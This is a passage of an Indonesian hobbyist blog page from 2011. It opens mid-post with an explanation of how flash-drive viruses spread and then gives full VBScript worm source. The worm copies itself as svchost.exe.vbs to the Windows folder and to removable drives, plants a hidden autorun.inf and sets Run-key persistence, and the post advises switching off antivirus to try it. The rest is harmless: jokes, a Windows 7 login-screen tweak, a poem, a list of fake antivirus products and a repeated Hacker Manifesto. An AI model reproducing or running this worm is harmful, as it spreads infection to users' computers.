2. Ukuran program virus sangat kecil sehingga cukup untuk dimasukkan kedalam flashdisk atau disket dan biasanya icon yang digunakan sangat mirip dengan dokumen word atau berbentuk seperti folder.
3. Biasanya virus-virus ini menyamar dengan menggunakan nama file yang ada dalam flashdisk atau disket anda, sedangkan dokumen asli anda disembunyikan dalam hidden file. Untuk bagaimana cara memunculkan file hidden ini dapat anda lihat dalam blog Mencegah Virus tanpa anti virus
4. Saat anda klik dua kali virus ini maka program virus akan di eksekusi. Langkah pertama yang dilakukan virus adalah membuka dokumen yang disembunyikan untuk mengurangi kecurigaan pengguna.
5. Berikutnya virus akan mengcopy dirinya ke hard drive dan menuliskan registry di HKEY_LOCAL_MACHINE\Software\Microsoft \Windows\CurrentVersion\Run atau di HKEY_CURRENT_USER\Software\Microsoft \Windows\CurrentVersion\Run agar program virus secara otomatis di eksekusi saat komputer pertama kali menyala.
6. Jika perlu Virus mendisable Task manager dan regedit untuk mencegah pengguna menghapus virus secara manual
7. Berikutnya virus akan aktif untuk memeriksa jika ada file dokumen baru dalam flashdisk atau disket dalam setiap beberapa detik, yang kemudian akan disembunyikan kemudian mengcopy file virus dan memberi nama sesuai dengan nama file yang disembunyikan tadi. Virus juga akan menuliskan script Autorun.inf dalam flashdisk secara hidden agar virus secara otomatis dijalankan saat flashdisk di klik dua kali dalam My Computer
Jadi demikiankah siklus virus dari flashdisk ke komputer dan dari komputer ke flashdisk
Tentang VB Script
VB Script atau Visual Basic Script sebenarnya hanyalah teks biasa yang berisi kode pemrograman dengan bahasa visual basic dan disimpan dengan format vbs. Untuk membuat vbscript cukup menggunakan teks editor sederhana seperti Notepad atau menggunakan yang lebih lengkap seperti Ultra Edit atau Notepad++. Berikut adalah contoh membuat vbscript sederhana.
1. Buka program Notepad dari Start > All Programs > Accessories > Notepad.
2. Tulis teks berikut ini
Msgbox "Ini adalah contoh VB Script Sederhana"
3. Kemudian simpan file dengan Save as Type di ubah ke All files
4. Beri nama file tersebut dengan tambahan .vbs dibelakang. Contohnya ScriptSederhanan.vbs
5. Sekarang lihat tampilan ikon file di explorer, tidak lagi berupa teks. Coba klik 2 kali file tersebut, maka akan muncul kotak dialog bertuliskan Ini adalah contoh VB Script Sederhana.
6. Yang dibutuhkan bagi vbscript untuk menjadi virus hanyalah kode yang tepat sehingga mengikuti proses yang dijelaskan di atas.
Contoh Kode Virus Sederhana
Berikut adalah contoh kode virus menggunakan vbscript sederhana. Jika ingin mencoba sebaiknya Anti virus di matikan dan Install juga Deep Freeze kemudia bekukan seluruh harddrive
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe svchost.exe.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\svchost.exe.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\svchost.exe.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\svchost.exe.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\svchost.exe.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost",winpath&"\svchost.exe.vbs"
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",""
rg.regwrite "HKCR\vbsfile\DefaultIcon\","shell32.dll,3"
if check <> 1 then
Wscript.sleep 100000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
Kamis, 11 Agustus 2011
Ciri-Ciri Seorang Hacker Sejati
1. Mas kawin yang Anda minta di hari pernikahan adalah seperangkat komputer dan modem.
Tunai!
Tunai!
2. Bel di rumah Anda bertuliskan “Click here to continue”.
3. Pintu kamar mandi Anda bertuliskan “WARNING: This website contains explicit adult material,
please verify your age”
please verify your age”
4. Anda menanyakan apakah ada email baru untuk anda kepada Pak Pos yang mengantarkan kartu
lebaran.
5. Mimpi anda selalu berawal dengan http: //www
6. Anda menggunakan Google untuk mencari anak anda yang sudah tiga hari tidak pulang ke
rumah.
7. “Unable to locate your server!” kata Anda ketika menerima telepon salah sambung.
8. Anak-anak Anda diberi nama Joko.gov agar kelak dia jadi pegawai negeri sipil dan Tole.edu
agar kelak dia jadi mahasiswa abadi.
9. Suara dengkuran Anda sudah persis mirip dengan suara Handshake modem.
10. Anda susah menggerakan jari Anda karena Anda sudah online selama 36 jam.
11. Anda menonton film “The Net” … 63 kali.
12. Ketika mobil Anda menyeruduk mobil lain di simpang jalan, yang pertama Anda cari adalah
tombol UNDO.
13. Istri Anda meletakan wig di atas monitor Anda untuk mengingatkan Anda seperti apa
tampangnya.
14. Anda memberi nama anak Anda Eudora, Netscape dan mIRC. Dan kalau anda lebih demokratis
(tidak monopistis) anda akan memberi nama anak anda Linux atau distro-distronya.
15. Anda memperkenalkan diri sebagai: youremail@y. .. atau .domain.com
16. Anda membuat tatoo di badan Anda “This body best viewed with Mozilla Firefox 2 or higher.”
17. Anda meninggalkan antrian tiket kereta api dengan berkata “request time out!!!”
18. Ketika hidup anda mengalami depresi, anda akan sangat menyesal mengapa tubuh anda tidak
dilengkapi dengan tombol Ctrl-Alt-Del.
19. Ketika anda sedang “main” dengan istri, pintu kamar anda ada tulisan “you don’t have
permission to access it”.
20. Ketika anda ditolak cewek anda selalu bilang “This program is not responding” sambil geleng2
kepala.
21. Jika ada orang lain yang mendekati cewek anda, anda berkata ke orang tersebut “Sorry This
Page Has Been Owned By ….”
22. Ketika bertemu dengan teman lama anda akan bilang: kemana aja lw? gw “ping” kok gak
respon?
Rabu, 10 Agustus 2011
Cara Merubah Gambar Login Screen di Windows 7
1. Buka Run (Win+R) lalu ketikkan “REGEDIT”
2. Di panel kiri regedit arahkan ke “Hkey_Local_Machine\Software\Microsoft\Windows\ CurrentVersion\Authentication\LogonUI\Background”
Lalu pada bagian panel disebelah kanan, rubah nilai dari OEMBackground dari “0″ menjadi “1″.
Catatan:
2. Di panel kiri regedit arahkan ke “Hkey_Local_Machine\Software\Microsoft\Windows\ CurrentVersion\Authentication\LogonUI\Background”
Lalu pada bagian panel disebelah kanan, rubah nilai dari OEMBackground dari “0″ menjadi “1″.
3. Kemudian buka Windows Explorer dan masuk ke c:\Windows\System32\oobe , buat folder baru dengan nama “info” kemudian buat folder “backgrounds” didalamnya. Maka alamat folder adalah c:\Windows\System32\oobe\info\backgrounds
4. Copy file wallpaper logon screen yang sudah dipersiapkan kedalam folder tersebut dan beri nama backgroundDefault.jpg
5. Restart komputer, maka gambar Login Screen akan berubah sesuai dengan gambar yang kita pilih.
- Ukuran gambar maximal adalah 256 KB
- Kita juga bisa membuat login screen sesuai dengan ukuran resolusi layar monitor dengan memberi nama file background”resolusilayar”.jpg, misal:
background768×1280.jpg
background800×1280.jpg
background900×1440.jpg
background960×1280.jpg
background1024×1280.jpg
background1280×1024.jpg
background1024×768.jpg
- File Gambar backgroundDefault.jpg akan dimuat dan di-resize otomatis oleh Windows 7 bila resolusi layar dan gambar tidak sesuai.
- Cara diatas akan mengganti gambar default gambar “logon screen”, “lock screen”, dan juga “shutdown screen” di Windows 7.
Puisi Cinta Seorang Programmer
C++, Perl, Delphi tersipu
Pointerku dengan sukarela kualamatkan padamu
Hipnotis . . .
Sudah berulang kali aku debug
Tak satupun bug kutemui
Borland sudah tak memadai
AI mungkin yang bisa memahami
Area abu-abu yang engkau tawarkan
Pendekatan struktural berantakan tak karuan
Objekku adalah representasi class-mu
Engkau bahkan bukan lagi variabel bagiku
Engkau adalah konstanta abadi yang tak tergantikan
Wajahmu indah seperti Microsoft Silverlight
Hidungmu mancung seperti SQLyog
Rambutmu panjang seperti PostgreSQL
Tubuhmu langsing bak Notepad
Kini aku telah terpesona dengan user interface mu
dotNet telah memberikan mu pesona bidadari
Bidadari dari garbage collection
Namun, aku bersedia menjadi garbage collector bagi mu
Semenjak perkenalan kita di pulau Java
Sewaktu aku bertarung dengan Python untuk menyelamatkan mu
Aku semakin terpuruk dari semua itu
Aku telah mengupload semua kode Perl ke tubuh mu
Mengcompile dan mendebug kode ku
Ku upload kode C untuk memberikan C-inta ku kepada mu
Aku berhari-hari mengejar PHP demi kamu
Sampai berkeringat Action Script
Namun hasilnya adalah Core Dump, Segmentation Fault
Syntax Error, Exception, Runtime Error 13, Invalid Memory Allocation
Gambas sudah usahaku
Fortran sudah nasib ku
Cobol sudah hidupku
Prolog sudah nafasku
Tanpa mu, hidupku bagaikan bahasa tanpa compiler…
Tanpa mu, hidupku bagaikan C# tanpa dotNet framework…
Tanpa mu, hidupku bagaikan PHP tanpa MySQL…
Rambutmu panjang hitam bagaikan background-color body css ku
Senyummu indah seindah template andalanku
Sinar matamu menghangatkan setiap
langkahku
CSS telah memberikan mu pesona bidadari
Bidadari dari beribu variable $
Mendefinisikan class utama contrucktor kecantikanmu
Kenangan session id tentang kamu
Selalu membayang dalam cookies browser ku
Mengingatkanku akan login dirimu
Menyegarkan hatiku seperti auto refresh AJAX dalam kolom chatbox ku
Aku semakin terpuruk dari semua itu
Berhari-hari ku query MySQL mengejar dirimu
Tak sebayang pun mendapatkan mysql_fetch_array mu
Selalu mysql zero return
Kuyakin ini akan jauhnya keberadaanmu
Sejak diriku di pulau JAVA dan dirimu di Batam
Sekeras apapun javascript menciptakan layout dirimu
Sebanyak apapun MySQL query LEFT JOIN dan UNION ALL
Sepanjang apapun VBSCRIPT mencoba ciptakan bayangmu
Serumit apapun Perl mengeksekusi
Engkau semakin jauh……
Sehingga server down
Kucoba /etc/init.d/apache restart
Kuharap dengan enable register_global PHP.ini akan dapat menemukanmu
Tapi…
Syntax Error, Exception, Runtime Error, Invalid Memory Allocation
Hacking attemp meleburkan variable $ dirimu
Kini ku coba switch class dirimu
Terlalu sulit dengan berjuta public function
Terlalu rumit dengan beribu var array
Bidadariku…….
Bukalah hatimu untuk $_REQUEST ku
Tak akan terluka walaupun banyak yang mencoba SQL Inject
Kan kulindungi dengan htmlspecialchars(addslashes()) dan mysql_real_escape_string()
Diriku hampa tanpa dirimu
30 Anti Virus yang perlu dihindari
daftar antivirusnya dia sebenarnya adalah virus yang pura2 jadi antivirus ,tapi sayang cara liciknya ketahuan semakin banyak aja cara virus menyebar gan jadi gak langsung nyerang tp dia berwujud antivirus dan sekali diinstal komputer kita akan dimata2in dan suatu saat dibunuh ama nih virus , so jangan dipake bro kalau perlu kalau ada di hardisk dihapus aja
daftarnya :
1. Cyber Security
2. Alpha Antivirus
3. Windows Enterprise Suite
4. Security Center
5. Control Center
6. Braviax
7. Windows Police Pro
8. Antivirus Pro 2010
9. PC Antispyware 2010
10. FraudTool.MalwareProtector.d
11. Winshield2009.com
12. Green AV
13. Windows Protection Suite
14. Total Security 2009
15. Windows System Suite
16. Antivirus BEST
17. System Security
18. Personal Antivirus
19. System Security 2009
20. Malware Doctor
21. Antivirus System Pro
22. WinPC Defender
23. Anti-Virus-1
24. Spyware Guard 2008
25. System Guard 2009
26. Antivirus 2009
27. Antivirus 2010
28. Antivirus Pro 2009
29. Antivirus 360
30. MS Antispyware 2009
MANIFESTO HACKER
Ini adalah dunia kami sekarang, dunianya electron dan switch, keindahan sebuah baut. Kami mendayagunakan sebuah system yang telah ada tanpa membayar, yang bisa jadi biaya tersebut sangatlah murah jika tidak dijalankan dengan nafsu tamak mencari keuntungan, dan kalian sebut kami criminal.
Kami menjelajah, dan kalian sebut kami criminal.
Kami mengejar pengetahuan, dan kalian sebut kami criminal. Kami menjelajah, dan kalian sebut kami criminal. Kami mengejar pengetahuan, dan kalian sebut kami criminal. Kami hadir tanpa perbedaan warna kulit, kebangsaan ataupun prasangka keagamaan, dan kalian sebut kami criminal. Kalian membuat bom atom, kalian menggelar peperangan, kalian membunuh, kalian berlaku curang, membohongi kami dan mencoba meyakinkan kami bahwa semua itu demi kebaikan kami, tetap saja kami yang disebut criminal.
Ya, aku memang seorang criminal.
Kejahatanku adalah rasa keingintahuanku.
Kejahatanku adalah karena menilai orang lain dari apa yang mereka katakana dan pikirkan, bukan pada penampilan mereka.
Kejahatanku adalah menjadi lebih pintar dari kalian, sesuatu yang tak akan kalian maafkan.
Aku memang seorang hacker, dan inilah manifesto ku.
Kalian bisa saja menghentikanku, tetapi kalian tak mungkin menghentikan kami semua.
Bagaimanapun juga, kami semua senasib seperjuangan.
(By The Mentor)
Kami menjelajah, dan kalian sebut kami criminal.
Kami mengejar pengetahuan, dan kalian sebut kami criminal. Kami menjelajah, dan kalian sebut kami criminal. Kami mengejar pengetahuan, dan kalian sebut kami criminal. Kami hadir tanpa perbedaan warna kulit, kebangsaan ataupun prasangka keagamaan, dan kalian sebut kami criminal. Kalian membuat bom atom, kalian menggelar peperangan, kalian membunuh, kalian berlaku curang, membohongi kami dan mencoba meyakinkan kami bahwa semua itu demi kebaikan kami, tetap saja kami yang disebut criminal.
Ya, aku memang seorang criminal.
Kejahatanku adalah rasa keingintahuanku.
Kejahatanku adalah karena menilai orang lain dari apa yang mereka katakana dan pikirkan, bukan pada penampilan mereka.
Kejahatanku adalah menjadi lebih pintar dari kalian, sesuatu yang tak akan kalian maafkan.
Aku memang seorang hacker, dan inilah manifesto ku.
Kalian bisa saja menghentikanku, tetapi kalian tak mungkin menghentikan kami semua.
Bagaimanapun juga, kami semua senasib seperjuangan.
(By The Mentor)
Langganan:
Komentar (Atom)



